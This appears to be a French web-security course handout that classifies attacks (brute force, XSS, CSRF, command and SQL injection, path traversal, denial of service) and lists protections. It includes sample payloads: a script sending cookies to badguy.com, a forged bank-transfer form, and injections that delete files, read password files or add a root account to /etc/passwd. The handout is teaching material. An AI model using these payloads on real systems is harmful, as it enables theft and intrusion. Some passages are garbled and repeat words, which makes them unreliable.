Classes d’attaques et mécanismes de protection

1.      Authentification. 1

2.      Authorization. 2

3.      Client-side Attacks. 2

4.      Command Execution. 6

5.      Information Disclosure. 8

6.      Logical Attacks. 9

7.      Déni de service. 9

 

1.    Authentification

Cette section couvre les attaques qui ciblent les méthodes de validation de l'identité d'un utilisateur, d'un service ou d'une application.

L'authentification est effectuée à l'aide d'au moins l'un des trois mécanismes:

“something you have”, “something you know” or “something you are”.

1.1 Brute Force

Une attaque  Brute Force  est un processus automatisé de essai- erreur(trail and error) utilisé pour  trouver les mots de passe, les numéro de la carte de crédit …etc.

Protection :

- limiter le nombre d'essais lors de l'authentification (bloquer l'accès pendant 15mn après 3 échecs) et

répondre après un délai de 3 secondes lors du 1er essai, 15 lors du 2d et 30 pour le 3ème ;

- conserver des traces de toutes les tentatives de connexion (aide à la détection de ce type d’attaque) ;

- imposer une taille minimale pour le login et le mot de passe ;

- imposer une complexité minimale (nombre de chiffres, car spéciaux, …) ;

- ne jamais indiquer si c’est le login ou le mot de passe qui est erroné ;

- ne jamais conserver les comptes avec un login et mot de passe par défaut.

- utiliser le module mod_evasive (http://www.zdziarski.com/projects/mod_evasive) qui protège contre des attaques de force brute et de déni de service (Apache 1.3, Apache 2.0.x) :

1.2 Insufficient Authentication

Se réalise quand une application web permet à un attaquant d’accéder à un contenu sensible ou aux fonctionnalités sans  avoir proprement authentifié.

Protection : utiliser un .htaccess (protection du répertoire et de ses sous-répertoires) ou des sessions.

1.3 Weak Password Recovery Validation

Quand une app web permet à un attaquant d’obtenir, de changer et de récupérer illégalement un autre mot de passe de l’utilisateur.

Bonnes pratiques :

- toujours fournir un nouveau mot de passe quand il a été perdu (si on est capable de fournir l’ancien c’est qu’il a été stocké en clair ou crypté de manière réversible) ;

- conserver toutes les demandes de recouvrement de mot de passe ;

- limiter la durée de validité du nouveau mot de passe envoyé à 24h ;

- limiter le mot de passe à une utilisation unique, l’utilisateur devra obligatoirement le changer lorsqu’il se

connectera avec son nouveau mot de passe.

2.    Authorization

Cette section  couvre les attaques qui ciblent  les méthodes permettant de déterminer si un utilisateur, un service ou une application ont les autorisations nécessaires pour effectuer une action demandée. Par exemple, de nombreux sites Web ne devraient permettre à certains utilisateurs d'accéder qu'à des contenus ou des  fonctionnalité spécifiques.. En utilisant diverses techniques, un attaquant peut tromper un site Web en augmentant ses privilèges dans les zones protégées.

1.1    Credential/Session Prediction

Une méthode pour le hijacking une app web.

 2.2 Insufficient Authorization

Se réalise quand une application web permet à un attaquant d’accéder à un contenu sensible ou aux fonctionnalités  qui demandant des contrôles d’accès élevé.

 

2.3 Insufficient Session Expiration

Se réalise quand une application web permet à un attaquant de réutiliser une ancienne session pour avoir les autorisations.

2.4  Session Fixation Session Fixation

Une attaque qui force la  session ID à une valeur explicite.

 

3.    Client-side Attacks

3.1 Content Spoofing Content

Une attaque qui consiste à tromper l’utilsateur en lui faisant croire que certain contenu est ligitime et n’est pas de source externe.

3.2 Cross-site Scripting  (XSS)

Une attaque qui consiste à forcer une app web à afficher un code de l’attaquant qui sera charger par la suite par le navigateur de l’utilsateur.

Schéma basique d’une attaque

 

Un site vulnerable à XSS

search field on victim.com:

http://victim.com/search.php ? term = apple

 

Server-side implementation of search.php:

 

 

Une mauvaise input

Consider link: (properly URL encoded)

http://victim.com/search.php ? term http://victim.com/search.php ? term =

<script> window.open(

http://badguy.com?cookie = ” +

document.cookie ) </script>

 

What if user clicks on this link?

1. Browser goes to victim com/search php Browser goes to victim.com/search.php

2. Victim.com returns

<HTML> Results for <script> … </script>

3. Browser executes script:

Sends badguy.com cookie for victim.com

 

Protections

-filtrer les entrées de l’application ($_GET, $_POST, $_COOKIE) en utilisant une approche par liste

blanche, i.e. dire ce qui est autorisé et non pas ce qui est interdit (moins de liberté mais plus sur) : par

exemple, un nom comporte uniquement des caractères de l’alphabet et des espaces (s’il le faut on

ajoutera plus tard des caractères) ;

- protéger les données envoyées vers le navigateur avec htmlentities ou htmlspecialchars avec

le paramètre ENT_QUOTES ;

- préciser le jeu de caractères de chaque page web dynamique (évite une interprétation différente selon

le navigateur) ;

 <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">

- utiliser les fonctions prédéfinies utf8_decode et strip_tags (suppression des balises dans la

chaîne) ;

- utiliser des noms d’identificateurs spécifiques pour repérer les données pas encore vérifiées ;

- la meilleure protection pour l’utilisateur est de désactiver JavaScript.

3.3 CSRF - Cross Site Request Forgery Force un client authentifié à envoyer une requête à l’application web ce qui provoque l’ altération de données (ex post dans un forum).

Exemple

Rappell

Schema basique d’une attaque

Example:

User logs in to bank com User logs in to bank.com

Session cookie remains in browser state

User visits another site containing: User visits another site containing:

<form name=F action=http://bank.com/BillPay.php>;

<input name=recipient value=badguy> …

<script> document.F.submit(); </script>

 browser envoie le user auth cookie avec la  requête

Transaction will be fulfilled

Problem:

cookie auth is insufficient when side effects occur

Defenses

1.       Secret Validation Token

Requests include a hard-to guess secret

 Unguessability substitutes for unforgeability

Variations

 Session identifier

 Session-independent token

 Session-dd k epen

dent to

ken

 HMAC of session identifier

2.       Referer Validation Referer Validation

3.       Custom Header Defense

4.    Command Execution

4.1 Buffer Overflow Buffer

Une attaque qui modifie le flux d’une application par réécriture d’une partie de mémoire.

4.2 Format String Attack

Cette attaque change le flux d’une application  par utilisation des techniques de  formatage de chaine  fournit par les api  pour accéder à une zone mémoire.

 

4.3 LDAP Injection

 Une attaque utilisé pour exploiter les app web qui forment des instructions  LDAP à partir des entrées de l’utilisateur.

 

4.4 OS Commanding

Une attaque utilisé pour exploiter les app web  afin d’exécuter des commandes de système d’exploitation. L’exploitation est faite   en manipulant les entrées de l’application.

Exemple

Example code injection based on eval (PHP) http://site.com/calc.php (server side calculator)

$in = $_GET[‘exp']; eval('$ans = ' . $in . ';'); …

Attaque: http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ”

2) PHP server-side code for sending email

$email = $_POST[“email”]

$subject = $_POST[“subject”]

system(“mail $email –s $subject < /tmp /joinmynetwork”)

attaque: http://yourdomain.com/mail.php? email=hacker@hackerhome.net & subject=foo < /usr/passwd; ls

ou

http://yourdomain.com/mail.php? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls

4.5 SQL Injection

Une attaque utilisé pour exploiter les app web  qui forme des requêtes SQL à partir des entrées de l’utilisateur. La figure suivante présente la méthode d’exploitation.

Par exemple

<form action="dispatcher?operation=login" method="post">

<input name="username" type="text">

<input name="password" type="password">

<input type="submit" value=“Submit">

</form>

String username = request.getParameter("username");

String password = request.getParameter("password");

Statement stmt =

 con.createStatement("select * from TBL_USERS"

 +"where username ='"+ username +

 +"' and password = '"+ password+"'");

Haut du formulaire

Bas du formulaire

 

Et au niveau de serveur on le code suivant qui traite ces inputs

 

 

 

String username = request.getParameter("username"); String password = request.getParameter("password"); Statement stmt = con.createStatement("select * from TBL_USERS" +"where username ='"+ username + +"' and password = '"+ password+"'");

Si l’utilsateur entre username = admin';-–

La requete SQL devient  select * from TBL_USERS where username = 'admin';-– ' and password = '123';

Le résultat est que l’utilisateur à effectuer un log in en tant que administrateur sans qu’il  est.

 

 Ceci est une attaque de type sql injection. Donc on peut injecter du code sql dans une entrée utilisateur pour compromettre la securité de l’app web.

Solution

Utiliser  les Parameterized SQL statements: i.e., PreparedStatements Parameter values are quoted. This preserves intent of the query.

• utiliser les  Stored Procedures: (mais faite attention à l’ implementation).

• Escape user-input: toutes les entrées utilisateur doivnet etre écahpées) be escaped (e.g. using double quotes).

….etc

4.6 SSI Injection SSI Injection (Server-side Include)

Est une attaque coté serveur  qui permet à l’attaquant d’envoyer du code à l’app web. Ce code sera exécute plus tard sur le serveur web.

 

4.7 XPath Injection

Une attaque utilisé pour exploiter les app web  qui forme des requêtes XPATH à partir des entrées de l’utilisateur.

 

5.    Information Disclosure

5.1 Directory Indexing

L’affichage automatique des répertoires  est une fonction serveur qui liste tous les fichiers d’un répertoire si le fichier de base n’existe pas.

5.2 Information Leakage

Quand l’app web montre des données sensibles  tells que les commentaires de  développeur ou les messages d’erreurs ce qui peut aider l’attaquant à attaquer le système.

5.3 Path Traversal

Cette attaque force l’accés aux fichiers, reps, et commandes qui peuvent résider en dehors du répertoire root(du web).

5.4 Predictable Resource Location

Pour montrer le contenu et les fonctionnalités cachées de l’app web.

6.    Logical Attacks

6.1 Abuse of Functionality

 Une attaque utilisé pour exploiter les fonctionnalités et les proprietés des app web  pour pour consommer, frauder ou contourner les mécanismes de contrôle d'accès.

7.    Déni de service

Le déni de service (DoS) est une technique d'attaque visant à empêcher un site Web de servir ses utilisateurs.

7.1 Insufficient Anti-automation

lorsqu'un site Web permet à un attaquant d’automatiser un processus qui ne doit être exécuté que manuellement.

 

7.2 Insufficient Process Validation

 lorsqu'un site Web permet à un attaquant de contourner le contrôle de flux prévu d'une application.

 


آخر تعديل: الجمعة، 15 أبريل 2022، 3:36 PM